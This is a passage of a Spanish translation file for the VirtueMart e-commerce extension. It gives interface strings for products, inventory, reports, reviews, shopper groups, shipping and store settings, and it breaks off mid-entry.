COM_VIRTUEMART_PRODUCT_FORM_PURCHASE_PRICE="Precio de producto" COM_VIRTUEMART_PRODUCT_FORM_RULES_OVERRIDES="Reglas de anulación de precio" COM_VIRTUEMART_PRODUCT_FORM_SKU="SKU del producto" COM_VIRTUEMART_PRODUCT_FORM_SPECIAL="En destacados" COM_VIRTUEMART_PRODUCT_FORM_S_DESC="Descripción corta" COM_VIRTUEMART_PRODUCT_FORM_UNIT="Unidad" COM_VIRTUEMART_PRODUCT_FORM_UNIT_DEFAULT="pieza" COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL="Actualizar artículo" COM_VIRTUEMART_PRODUCT_FORM_URL="URL" COM_VIRTUEMART_PRODUCT_FORM_VENDOR="Vendedor" COM_VIRTUEMART_PRODUCT_HEIGHT="Altura de producto" COM_VIRTUEMART_PRODUCT_ID="ID Producto" COM_VIRTUEMART_PRODUCT_ID_MISSING="Un ID de producto no se encuentra" COM_VIRTUEMART_PRODUCT_IMAGE="Imagen de producto" COM_VIRTUEMART_PRODUCT_IMAGEURL_MUSTBEGIN="El url de la imagen debe comenzar con http." COM_VIRTUEMART_PRODUCT_IMGDEL_FAILED="Fallo en el borrado de imágenes de producto" COM_VIRTUEMART_PRODUCT_INFORMATION="Información del producto" COM_VIRTUEMART_PRODUCT_INVENTORY="Inventario" COM_VIRTUEMART_PRODUCT_INVENTORY_PRICE="Precio" ;COM_VIRTUEMART_PRODUCT_INVENTORY_SEE_SHOPPER_RESERVED_LIST="See shoppers who have ordered but are awaiting this product" COM_VIRTUEMART_PRODUCT_INVENTORY_VALUE="Valor" COM_VIRTUEMART_PRODUCT_INVENTORY_WEIGHT="Peso" COM_VIRTUEMART_PRODUCT_IN_STOCK="productos en existencia" COM_VIRTUEMART_PRODUCT_LENGTH="Largo de producto" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE="Buscar producto" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER="después" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE="antes" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE="con precio modificado" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT="modificado" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE="sin precio" COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT="solo padre" COM_VIRTUEMART_PRODUCT_LIST_VENDOR_NAME="Nombre del vendedor" COM_VIRTUEMART_PRODUCT_LIST_X_CHILDREN="Listar todos los derivados de %s" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_BODY="El articulo %s tiene %d unidades" COM_VIRTUEMART_PRODUCT_LOW_STOCK_EMAIL_SUBJECT="El articulo %s tiene existencias bajas" COM_VIRTUEMART_PRODUCT_LWH_UOM="Largo/peso/alto unidad de medidas" COM_VIRTUEMART_PRODUCT_MEDIA="Archivo (media)" COM_VIRTUEMART_PRODUCT_MOD="Productos" COM_VIRTUEMART_PRODUCT_NAME="Nombre de producto" COM_VIRTUEMART_PRODUCT_NAME_TITLE="Nombre de producto" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW="¿Muestra navegación del producto?" COM_VIRTUEMART_PRODUCT_NAVIGATION_SHOW_EXPLAIN="Muestra la navegación del producto en la parte superior de la pagina de producto" COM_VIRTUEMART_PRODUCT_NOTIFY_MESSAGE_SENT="Mensaje Enviado" COM_VIRTUEMART_PRODUCT_NOTIFY_NUMBER="Numero para notificar (dejar en blanco para todos)" COM_VIRTUEMART_PRODUCT_NOTIFY_USER="Notificar a los usuarios" COM_VIRTUEMART_PRODUCT_NOT_CLONED_SUCCESSFULLY="El producto no fue clonado exitosamente" COM_VIRTUEMART_PRODUCT_NOT_FOUND="Lo sentimos, el producto requerido no fue encontrado" COM_VIRTUEMART_PRODUCT_NO_CHILD_CREATED_SUCCESSFULLY="Derivado de producto no creado exitosamente" COM_VIRTUEMART_PRODUCT_OF="de" COM_VIRTUEMART_PRODUCT_ORDER_LEVELS="Niveles de pedidos de producto" COM_VIRTUEMART_PRODUCT_PACKAGING="Empaque de producto" COM_VIRTUEMART_PRODUCT_PACKAGING_DESCRIPTION="Sin descripción" COM_VIRTUEMART_PRODUCT_PARENT_LIST_CHILDREN="¿Producto con derivados?" COM_VIRTUEMART_PRODUCT_PRICE="Precio de producto" COM_VIRTUEMART_PRODUCT_PRICE_TITLE="Precio" COM_VIRTUEMART_PRODUCT_PRINT_INTNOTES="Nota interna" COM_VIRTUEMART_PRODUCT_PRODUCT_TYPE_FORM_PRODUCT_TYPE="Tipo de producto" COM_VIRTUEMART_PRODUCT_RELATED_SEARCH="Busca aquí productos y categorías" COM_VIRTUEMART_PRODUCT_RELATIONSHIP="Familia" COM_VIRTUEMART_PRODUCT_S="Productos" COM_VIRTUEMART_PRODUCT_SALES="Ventas de productos" COM_VIRTUEMART_PRODUCT_SALESPRICE="Precio de venta" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITHOUT_TAX="Precio de venta sin impuesto" COM_VIRTUEMART_PRODUCT_SALESPRICE_WITH_DISCOUNT="Precio de venta con descuento" COM_VIRTUEMART_PRODUCT_SHOPPERS="Enviar un email a los compradores" COM_VIRTUEMART_PRODUCT_SHOPPERS_LIST="Lista de compradores que compraron %1$s" COM_VIRTUEMART_PRODUCT_SKU="SKU de producto" COM_VIRTUEMART_PRODUCT_SPECIAL="Producto destacado" COM_VIRTUEMART_PRODUCT_S_DESC="Descripción corta de productos" COM_VIRTUEMART_PRODUCT_TAX_AMOUNT="Monto de impuesto" COM_VIRTUEMART_PRODUCT_TAX_NONE="No aplicar reglas" COM_VIRTUEMART_PRODUCT_TAX_NO_SPECIAL="Aplicar reglas genéricas" COM_VIRTUEMART_PRODUCT_UNIT="Unidad de producto" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE="Usar plantilla de notificacion" COM_VIRTUEMART_PRODUCT_USE_NOTIFY_TEMPLATE_TIP="Si está seleccionado, la notificación por defecto será enviada" COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT="%s ha llegado!" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFIED="Notificado" COM_VIRTUEMART_PRODUCT_WAITING_LIST_NOTIFYUSERS="Notificar a los usuarios (cuando se haya actualizado la existencia)" COM_VIRTUEMART_PRODUCT_WAITING_LIST_TAB="Lista de espera" COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST="Usuarios esperando que este producto este de nuevo en existencia" COM_VIRTUEMART_PRODUCT_WAITING_NOWAITINGUSERS="No hay usuarios de espera" COM_VIRTUEMART_PRODUCT_WEIGHT="Unidad de peso de producto" COM_VIRTUEMART_PRODUCT_WEIGHT_UOM="Unidad de peso de producto" COM_VIRTUEMART_PRODUCT_WIDTH="Ancho de producto" COM_VIRTUEMART_PRODUCT_XREF_NAMES="Productos seleccionados %s" COM_VIRTUEMART_PRODUCT_MASSXREF="Referencia en masa de artículos a un producto" COM_VIRTUEMART_PRODUCT_XREF_CAT="Categorías asociadas por masa" COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE="Ejecutar categorías asociadas por masa" COM_VIRTUEMART_PRODUCT_XREF_SGRPS="Grupos de compradores asociados por masa" COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE="Ejecutar grupos de compradores asociados por masa" COM_VIRTUEMART_PUBLISH="Publicado" COM_VIRTUEMART_PUBLISHED="Publicado" COM_VIRTUEMART_PUBLISH_ITEM="Publicar productos" COM_VIRTUEMART_RAISEWARNING_NOT_ABLE_TO_SAVE_USER_DATA="usado Envía Advertencia: No se pudieron guardar los datos de usuario" COM_VIRTUEMART_RATE_FORM_VAT_ID="Impuesto" COM_VIRTUEMART_RATE_NOM="Calificación" COM_VIRTUEMART_RATINGS="Comentarios y calificaciones" COM_VIRTUEMART_RATING_DATE_TITLE="Fecha de comentario" COM_VIRTUEMART_RATING_EDIT_TITLE="Editar comentario de comprador" COM_VIRTUEMART_RATING_TITLE="Calificación" COM_VIRTUEMART_RECCOMEND_UNATUH="Permitir enviar la recomendación sin registrarse" COM_VIRTUEMART_RECCOMEND_UNATUH_EXPLAIN="Cuando se activa cualquier usuario puede enviar la recomendación sobre el producto, de lo contrario sólo los usuarios registrados pueden enviar recomendaciones" COM_VIRTUEMART_RECENT_PRODUCTS="Productos recién comentados" COM_VIRTUEMART_REGISTER_ACCOUNT="¿Registre una cuenta?
            Una cuenta le permite volver a la tienda y ver su historial de compras." COM_VIRTUEMART_REGISTER_BEFORE="Por favor regístrese para usar esta característica" COM_VIRTUEMART_REGISTER_EMAIL="Email" COM_VIRTUEMART_REGISTER_TITLE="Registro" COM_VIRTUEMART_REGISTER_UNAME="Nombre de usuario" COM_VIRTUEMART_REGISTRATION_FORM_NONE="ninguno" COM_VIRTUEMART_REG_COMPLETE="
            Registro completo!
            " COM_VIRTUEMART_REG_COMPLETE_ACTIVATE="
            Registro completo!

            Su cuenta ha sido creada y un enlace de activación enviado a su correo electrónico. Nota: Debe activar su cuenta a través del enlace antes de poder acceder a ella." COM_VIRTUEMART_REG_VENDOR_COMPLETE="
            ¡Registro de vendedor completo!
            " COM_VIRTUEMART_REG_VENDOR_COMPLETE_ACTIVATE="
            ¡Registro de vendedor completo!

            Su cuenta ha sido creada y un enlace de activación ha sido enviado a su correo electrónico. Debe activar la cuenta antes de que pueda acceder before you can login." COM_VIRTUEMART_RELATED_CATEGORIES="Categorías relacionadas" COM_VIRTUEMART_RELATED_CATEGORIES_TIP="¿Tip? Categorías relacionadas" COM_VIRTUEMART_RELATED_PRODUCTS="Productos relacionados" COM_VIRTUEMART_RELATED_PRODUCTS_HEADING="También puede interésarle este producto" COM_VIRTUEMART_RELATED_PRODUCTS_TIP="¿Tip? Productos relacionados" COM_VIRTUEMART_RELOAD="Recargar" COM_VIRTUEMART_REMEMBER_ME="Recordarme" COM_VIRTUEMART_REPORT="Reporte de ingresos" COM_VIRTUEMART_REPORT_BASIC_DATE="Fecha" COM_VIRTUEMART_REPORT_BASIC_INDIVIDUAL="Lista de productos individuales" COM_VIRTUEMART_REPORT_BASIC_LAST60_BUTTON="Ultimos 60 días" COM_VIRTUEMART_REPORT_BASIC_LAST90_BUTTON="Ultimos 90 días" COM_VIRTUEMART_REPORT_BASIC_LASTMONTH_BUTTON="Ultimo mes" COM_VIRTUEMART_REPORT_BASIC_ORDERS="Pedidos" COM_VIRTUEMART_REPORT_BASIC_PRODLIST="Lista de productos" COM_VIRTUEMART_REPORT_BASIC_REPORT_FOR="Reporte por" COM_VIRTUEMART_REPORT_BASIC_REVENUE="Ingreso" COM_VIRTUEMART_REPORT_BASIC_SALES_PAGE_TITLE="Reporte de actividad // no usado?" COM_VIRTUEMART_REPORT_BASIC_SALE_TITLE="Reportes de ventas // No usado?" COM_VIRTUEMART_REPORT_BASIC_SHOW_SEL_RANGE="Muestra este rango seleccionado" COM_VIRTUEMART_REPORT_BASIC_THISMONTH_BUTTON="Este mes" COM_VIRTUEMART_REPORT_BASIC_TOTAL_ITEMS="Total de artículos vendidos" COM_VIRTUEMART_REPORT_FROM_PERIOD="Desde:" COM_VIRTUEMART_REPORT_INTERVAL="Establece intervalo" COM_VIRTUEMART_REPORT_INTERVAL_END_DATE="Fecha final" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_DAILY="Diario" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_MONTHLY="Mensual" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_WEEKLY="Semanal" COM_VIRTUEMART_REPORT_INTERVAL_GROUP_YEARLY="Anual" COM_VIRTUEMART_REPORT_INTERVAL_START_DATE="Fecha inicial" COM_VIRTUEMART_REPORT_PERIOD_LAST30="Ultimos 30 días" COM_VIRTUEMART_REPORT_PERIOD_LAST60="Ultimos 60 días" COM_VIRTUEMART_REPORT_PERIOD_LAST90="Ultimos 90 días" COM_VIRTUEMART_REPORT_PERIOD_THIS_MONTH="Este mes" COM_VIRTUEMART_REPORT_PERIOD_THIS_WEEK="Esta semana" COM_VIRTUEMART_REPORT_PERIOD_THIS_YEAR="Este año" COM_VIRTUEMART_REPORT_PERIOD_TODAY="Hoy" COM_VIRTUEMART_REPORT_SET_PERIOD="Establece periodo" COM_VIRTUEMART_REPORT_TITLE="Reporte para el periodo de %s a %s" COM_VIRTUEMART_REPORT_UNTIL_PERIOD="Hasta:" COM_VIRTUEMART_RESET="Reestablecer" COM_VIRTUEMART_REVIEW="Comentario de comprador" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH="¿Auto publicar comentario?" COM_VIRTUEMART_REVIEWS_AUTOPUBLISH_TIP="Si seleccionado, los comentarios son publicados automáticamente al hacerse. En caso contrario requieren autorización del administrador" COM_VIRTUEMART_REVIEW_COUNT="Caracteres escritos:" COM_VIRTUEMART_REVIEW_DETAILS="Detalles de comentario de comprador" COM_VIRTUEMART_REVIEW_ERR_COMMENT1_JS="Por favor escriba mas palabras para su comentario, el mínimo de carácter es permitido es: %s" COM_VIRTUEMART_REVIEW_ERR_COMMENT2_JS="Por favor escriba menos palabras para su comentario, el máximo de carácter es permitido es: %s" COM_VIRTUEMART_REVIEW_FORM_LBL="Comentarios de producto" COM_VIRTUEMART_REVIEW_LOGIN="Registrese o inicie sesión para escribir un comentario" COM_VIRTUEMART_REVIEW_RATE="Comentario y calificación" COM_VIRTUEMART_REVIEW_RATE_S="Comentarios y calificaciónes" COM_VIRTUEMART_REVIEW_S="Comentarios de comprador" COM_VIRTUEMART_RULES_EFFECTING="Reglas efectivas:" COM_VIRTUEMART_SAFE_PATH_INVOICE_CREATED="Ruta para las facturas creadas" COM_VIRTUEMART_SALES="Mas vendido" COM_VIRTUEMART_SAMPLE_DATA="Instalar
            Datos de ejemplo" COM_VIRTUEMART_SAMPLE_DATA_INSTALLED="¡Datos de ejemplo instalados!" COM_VIRTUEMART_SAVE="Guardar" COM_VIRTUEMART_SAVED_CART_TITLE="Carro guardado" COM_VIRTUEMART_SAVE_PERMISSIONS="Guardar permisos" COM_VIRTUEMART_SEARCH_ALL_CATEGORIES="Buscar en todas las categorías" COM_VIRTUEMART_SEARCH_ALL_PRODINFO="Buscar en toda la información del producto" COM_VIRTUEMART_SEARCH_AND="y" COM_VIRTUEMART_SEARCH_DESCRIPTION="Solo descripción de producto" COM_VIRTUEMART_SEARCH_LBL="Buscar" COM_VIRTUEMART_SEARCH_MANU_VENDOR="Solo Fabricante / vendedor" COM_VIRTUEMART_SEARCH_NOT="no" COM_VIRTUEMART_SEARCH_ORDER_ASC="Orden ascendente" COM_VIRTUEMART_SEARCH_ORDER_DESC="Orden descendente" COM_VIRTUEMART_SEARCH_PRODNAME="Nombre de productos solamente" COM_VIRTUEMART_SEARCH_SELECT_ALL_MANUFACTURER="Selecciona todos los fabricantes" COM_VIRTUEMART_SEARCH_SELECT_MANUFACTURER="Selecciona fabricantes" COM_VIRTUEMART_SEARCH_TITLE="Buscar" COM_VIRTUEMART_SELECT="Seleccione %s" COM_VIRTUEMART_SELECT_CATEGORY="Seleccione una categoría…" COM_VIRTUEMART_SELECT_CUSTOM_PLUGIN="Selecciones un Plugin" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE="Seleccione el template por defecto de la tienda" COM_VIRTUEMART_SELECT_DEFAULT_SHOP_TEMPLATE_TIP="Los Templates permiten estilo y personalización de la tienda.
            Si no hay mas temas que el de omisión es que no se han instalado mas." COM_VIRTUEMART_SELECT_FILE="Seleccione un archivo" COM_VIRTUEMART_SELECT_ITEM_TO_DELETE="Seleccione un artículo para borrar" COM_VIRTUEMART_SELECT_ITEM_TO_TOGGLE="Seleccione un artículo para cambiar" COM_VIRTUEMART_SELECT_MANUFACTURER="Seleccione fabricante" COM_VIRTUEMART_SELECT_MANUFACTURER_CATEGORY="Seleccione categoría de fabricante" COM_VIRTUEMART_SELECT_PAYMENT_METHOD="Por favor seleccione un método de pago en la pestaña correspondiente, de click a aplicar para mostrar los parámetros correspondientes aquí" COM_VIRTUEMART_SELECT_PERIOD="Seleccione periodo" COM_VIRTUEMART_SELECT_PRODUCT="Selecciona un producto" COM_VIRTUEMART_SELECT_SHIPPING_METHOD="Por favor seleccione un método de envío en la pestaña correspondiente, de click a aplicar para mostrar los parámetros correspondientes aquí" COM_VIRTUEMART_SELECT_USER_TO_MODIFY="Seleccione un usuario para modificar" COM_VIRTUEMART_SEND_BUTTON="Envío" COM_VIRTUEMART_SEND_SUB="Detalles de cuenta de %s a %s" COM_VIRTUEMART_SETSTOREOWNER="Establece el dueño de la tienda" COM_VIRTUEMART_SET_TO_DEFAULT_SUCCESSFULLY="Grupo de Compradores Predeterminado Cambiado" COM_VIRTUEMART_SHIPMENTMETHOD="Método de envío" COM_VIRTUEMART_SHIPMENTMETHOD_S="Métodos de envío" COM_VIRTUEMART_SHIPMENT_CLONE="Copiar envío" COM_VIRTUEMART_SHIPMENT_CLONED_SUCCESSFULLY="Envío copiado con éxito" COM_VIRTUEMART_SHIPMENT_LIST_DESCRIPTION_LBL="Descripción" COM_VIRTUEMART_SHIPMENT_NAME="Nombre envio" COM_VIRTUEMART_SHIPMENT_NAME_LBL="Nombre envio" COM_VIRTUEMART_SHIPMENT_NOT_CLONED_SUCCESSFULLY="Error al copiar envío" COM_VIRTUEMART_SHIPPINGRATE="Tarifa de envío" COM_VIRTUEMART_SHIPPINGRATE_DETAILS="Detalles tarifa de envío" COM_VIRTUEMART_SHIPPINGRATE_S="Tarifas de envío" COM_VIRTUEMART_SHIPPING_CLASS_NAME="Método de envío" COM_VIRTUEMART_SHIPPING_CLASS_NAME_TIP="Seleccione el método de envío para usar en este método,de click en aceptar para mostrar los parámetros adecuados en la pestaña de configuración" COM_VIRTUEMART_SHIPPING_FORM_DESCRIPTION="Descripción de la mensajería" COM_VIRTUEMART_SHIPPING_FORM_NAME="Nombre de mensajería" COM_VIRTUEMART_SHIPPING_FORM_SHOPPER_GROUP="Grupo de compradores" COM_VIRTUEMART_SHIPPING_FORM_VAT="VAT" COM_VIRTUEMART_SHIPPING_NAME="Nombre de la mensajería" COM_VIRTUEMART_SHIPPING_SHOPPERGROUPS="Grupo de compradores" COM_VIRTUEMART_SHIPTO_TEXT="Puede agregar localidades de envío a la cuenta. Piense en un nombre adecuado o código para la localidad" COM_VIRTUEMART_SHOPPERGROUP="Grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_ADDED="El grupo de compradores ha sido agregado" COM_VIRTUEMART_SHOPPERGROUP_ALREADY_EXISTS="El grupo de compradores ya existe para este vendedor" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT="Grupo de compradores por defecto" COM_VIRTUEMART_SHOPPERGROUP_DEFAULT_TIP="Nuevos compradores será n agregados al grupo" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT="No puedes borrar el grupo de compradores predeterminado %1$s con ID %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS="Aun hay compradores asignados a este grupo %1$s con ID %2$s" COM_VIRTUEMART_SHOPPERGROUP_DELETE_DEFAULT="No se puede borrar el grupo de compradores por defecto" COM_VIRTUEMART_SHOPPERGROUP_DELETE_PAYMENT_METHODS_ASS="Id del grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_DELETE_SELECT="Por favor seleccione un grupo de compradores para borrar." COM_VIRTUEMART_SHOPPERGROUP_DELETE_USERS_ASS="Aun hay compradores asignados a este grupo" COM_VIRTUEMART_SHOPPERGROUP_DESCRIPTION="Descripción de grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_DETAILS="Detalles de grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_ENABLE_PRICE_DISPLAY="Active la pantalla de precios especifica para el grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT="Descuento en grupo de compradores predeterminado (en%)" COM_VIRTUEMART_SHOPPERGROUP_FORM_DISCOUNT_TIP="Una cantidad positiva X significa" COM_VIRTUEMART_SHOPPERGROUP_IDS="Grupos de compradores" COM_VIRTUEMART_SHOPPERGROUP_LIST_DISCOUNT="Descuento de grupo compradores" COM_VIRTUEMART_SHOPPERGROUP_LIST_INCLUDE_TAX="Grupo de compradores (Impuesto incl)" COM_VIRTUEMART_SHOPPERGROUP_MISSING_NAME="Debe ingresar un nombre de grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_NAME="Nombre de grupo de compradores" COM_VIRTUEMART_SHOPPERGROUP_NAME_ALREADY_EXISTS_FOR_GIVEN_VENDOR="El nombre de grupo de compradores ya existe para el vendedor seleccionado" COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS="El nombres de grupo de compradores no pueden tener mas de 32 carácter es" COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME="Grupos de compra deben tener un nombre" COM_VIRTUEMART_SHOPPERGROUP_S="Grupos de compradores" COM_VIRTUEMART_SHOPPERGROUP_UPDATED="El grupo de compradores ha sido actualizado" COM_VIRTUEMART_SHOPPERGROUP_UPDATE_FAILED="Fallo al actualizar grupo de compradores" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_1="Domicilio 1" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_2="Domicilio 2" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_INFO_LBL="Información" COM_VIRTUEMART_SHOPPER_FORM_ADDRESS_LABEL="Alias de domicilio" COM_VIRTUEMART_SHOPPER_FORM_BIRTHDAY="Fecha de nacimiento" COM_VIRTUEMART_SHOPPER_FORM_CITY="Ciudad" COM_VIRTUEMART_SHOPPER_FORM_COMPANY_NAME="Compañía" COM_VIRTUEMART_SHOPPER_FORM_COUNTRY="Pais" COM_VIRTUEMART_SHOPPER_FORM_EMAIL="Email" COM_VIRTUEMART_SHOPPER_FORM_EU_VATID="Nif/Cif (Paises union europea)" COM_VIRTUEMART_SHOPPER_FORM_FAX="Fax" COM_VIRTUEMART_SHOPPER_FORM_FIRST_NAME="Nombre" COM_VIRTUEMART_SHOPPER_FORM_GROUP="Grupo de comprador" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_EXTENSION="Nombre del edificio" COM_VIRTUEMART_SHOPPER_FORM_HOUSE_NO="Número de casa" COM_VIRTUEMART_SHOPPER_FORM_LAST_NAME="Apellido" COM_VIRTUEMART_SHOPPER_FORM_LBL="Información adicional" COM_VIRTUEMART_SHOPPER_FORM_MIDDLE_NAME="Segundo nombre" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_1="contraseña" COM_VIRTUEMART_SHOPPER_FORM_PASSWORD_2="Confirme contraseña" COM_VIRTUEMART_SHOPPER_FORM_PHONE2="Celular" COM_VIRTUEMART_SHOPPER_FORM_PHONE="Teléfono" COM_VIRTUEMART_SHOPPER_FORM_SHIPTO_LBL="Información de envío" COM_VIRTUEMART_SHOPPER_FORM_SOCIALNUMBER="Numero seguridad Social" COM_VIRTUEMART_SHOPPER_FORM_STATE="Estado / Provincia /Región" COM_VIRTUEMART_SHOPPER_FORM_TITLE="Título" COM_VIRTUEMART_SHOPPER_FORM_USERNAME="Nombre de usuario" COM_VIRTUEMART_SHOPPER_FORM_ZIP="Zip /Código postal" COM_VIRTUEMART_SHOPPER_GROUP_NAME="Nombre de grupo de comprador" COM_VIRTUEMART_SHOPPER_STATE_NAME="Nombre de estado" COM_VIRTUEMART_SHOPPER_TITLE_MISS="Señorita" COM_VIRTUEMART_SHOPPER_TITLE_MR="Don" COM_VIRTUEMART_SHOPPER_TITLE_MRS="Señora." COM_VIRTUEMART_SHOW="Mostrar" COM_VIRTUEMART_SHOW_DISCOUNTED="Productos en descuento" COM_VIRTUEMART_SHOW_FEATURED="Productos destacados" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX="¿Mostrar opción RECUERDAME?" COM_VIRTUEMART_SHOW_REMEMBER_ME_BOX_TIP="Si seleccionado, la opción de RECUERDAME se muestra en la compra. No se recomienda cuando se use un SSL compartido, porque el comprador puede no obtener una Cookie - La cookie es requerida para mantenerse firmado en el sitio." COM_VIRTUEMART_SKU="SKU" COM_VIRTUEMART_SLUG="Alias SEF" COM_VIRTUEMART_SORT_ERR_NUMBERS_ONLY="Error" COM_VIRTUEMART_SQL_ERROR="Error SQL" COM_VIRTUEMART_STANDARD_VIRTUEMART_CATEGORIES_LAYOUT="Pantalla estándar de Categorías Virtuemart" COM_VIRTUEMART_START_DATE="Fecha inicial" COM_VIRTUEMART_START_SYNCRONIZING="¡Comenzar la sincronización." COM_VIRTUEMART_STATE="Estado" COM_VIRTUEMART_STATES_COUNTRY="Estados del país %1$s" COM_VIRTUEMART_STATES_VIEW_LINK="Ver lista de estados de
             %1$s" COM_VIRTUEMART_STATE_2_CODE="Código Estado (2)" COM_VIRTUEMART_STATE_3_CODE="Código Estado (3)" COM_VIRTUEMART_STATE_COUNTRY="Estado para el país %1$s" COM_VIRTUEMART_STATE_DETAILS="Detalles de estado" COM_VIRTUEMART_STATE_IDS="Estados" COM_VIRTUEMART_STATE_LIST_LBL="Lista de estados" COM_VIRTUEMART_STATE_NAME="Nombre de estado" COM_VIRTUEMART_STATE_S="Estados" COM_VIRTUEMART_STATISTIC_ACTIVE_PRODUCTS="productos Activos" COM_VIRTUEMART_STATISTIC_CUSTOMERS="Compradores" COM_VIRTUEMART_STATISTIC_INACTIVE_PRODUCTS="productos inactivos" COM_VIRTUEMART_STATISTIC_NEW_CUSTOMERS="Nuevos compradores" COM_VIRTUEMART_STATISTIC_NEW_ORDERS="Nuevos pedidos" COM_VIRTUEMART_STATISTIC_STATISTICS="Estadisticas" COM_VIRTUEMART_STATISTIC_SUM="SUM" COM_VIRTUEMART_STATISTIC_SUMMARY="Panel de control" COM_VIRTUEMART_STATUS="Estado" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_LOW_TIP="Bajas existencias para este producto" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_NORMAL_TIP="Existencias suficientes para este producto" COM_VIRTUEMART_STOCK_LEVEL_DISPLAY_OUT_TIP="Lo sentimos, no tenemos existencias para este producto" COM_VIRTUEMART_STOCK_LEVEL_LOW="Stock bajo de producto" COM_VIRTUEMART_STOCK_LEVEL_NORMAL="Stock de producto suficiente" COM_VIRTUEMART_STOCK_LEVEL_OUT="¡Producto sin stock!" COM_VIRTUEMART_STORE="Tienda" COM_VIRTUEMART_STORE_CURRENCY_DISPLAY="Moneda" COM_VIRTUEMART_STORE_FORM_ACCEPTED_CURRENCIES="Lista de monedas aceptadas" COM_VIRTUEMART_STORE_FORM_COMPANY_NAME="Muestra nombre de compañía" COM_VIRTUEMART_STORE_FORM_COUNTRY="Pais" COM_VIRTUEMART_STORE_FORM_DESCRIPTION="Descripción" COM_VIRTUEMART_STORE_FORM_LBL="Información de compra" COM_VIRTUEMART_STORE_FORM_LEGAL="Información legal" COM_VIRTUEMART_STORE_FORM_MPOV="Valor mínimo de compra para la tienda" COM_VIRTUEMART_STORE_FORM_STATE="Estado / Provincia /Región" COM_VIRTUEMART_STORE_FORM_STORE_NAME="Nombre de la tienda" COM_VIRTUEMART_STORE_FORM_TOS="Terminos de servicio" COM_VIRTUEMART_STORE_INFORMATION="Información de compras" COM_VIRTUEMART_STORE_MOD="Tienda" COM_VIRTUEMART_STRING1_STRING2="%1$s %2$s" COM_VIRTUEMART_STRING_CANCELLED="%s registros cancelados" COM_VIRTUEMART_STRING_COULD_NOT_BE_DELETED="%s no pudo ser borrado" COM_VIRTUEMART_STRING_DELETED="%s borrado exitosamente." COM_VIRTUEMART_STRING_DELETED_ERROR="Error: El %s no pudo borrarse" COM_VIRTUEMART_STRING_ERROR_MUST_HAVE_NAME="Error: %s debe tener un nombre" COM_VIRTUEMART_STRING_ERROR_NOT_UNIQUE_NAME="El %s especificado esta vacío. Este campo es obligatorio, ingrese sus datos y guardelos de nuevo" COM_VIRTUEMART_STRING_ERROR_OBLIGATORY_KEY="%1$s no esta en el registro ! No se puede salvar el registro sin %1$s." COM_VIRTUEMART_STRING_ERROR_PRIMARY_KEY="%1$s la clave primaria está perdida! No se puede guardar el registro sin %1$s." COM_VIRTUEMART_STRING_FORBIDDEN_FOR_NON_VENDORS="%s función no permitida a vendedores" COM_VIRTUEMART_STRING_ONLY_ALLOWED_FOR_ADMIN="%s función reservada a administradores" COM_VIRTUEMART_STRING_ORDER_DOWN_SUCCESS="%s movido abajo exitosamente" COM_VIRTUEMART_STRING_ORDER_UP_SUCCESS="%s movido hacia arriba exitosamente" COM_VIRTUEMART_STRING_PUBLISHED_ERROR="Error: La %s no se puede publicar" COM_VIRTUEMART_STRING_PUBLISHED_SUCCESS="% Se publico exitosamente" COM_VIRTUEMART_STRING_SAVED="%s Guardado exitosamente" COM_VIRTUEMART_STRING_SAVED_ERROR="Error: %s no pudo ser guardado." COM_VIRTUEMART_STRING_SAVED_SUCCESS="%s Guardado exitosamente" COM_VIRTUEMART_STRING_TOGGLE_ERROR="Error: El %s no pudo Actualizarse" COM_VIRTUEMART_STRING_TOGGLE_SUCCESS="%s estado actualiazado exitosamente" COM_VIRTUEMART_STRING_UNPUBLISHED_ERROR="Error: El %s no pudo despublicarse" COM_VIRTUEMART_STRING_UNPUBLISHED_SUCCESS="%s exitosamente despublicado" COM_VIRTUEMART_SYNC_MEDIA_FILES="Sincronizar medios con Virtuemart" COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_DISABLED="Acción no ejecutada. Por favor verifique %1$s antes y regrese aqui." COM_VIRTUEMART_SYSTEM_DANGEROUS_TOOL_ENABLED_JS="Para 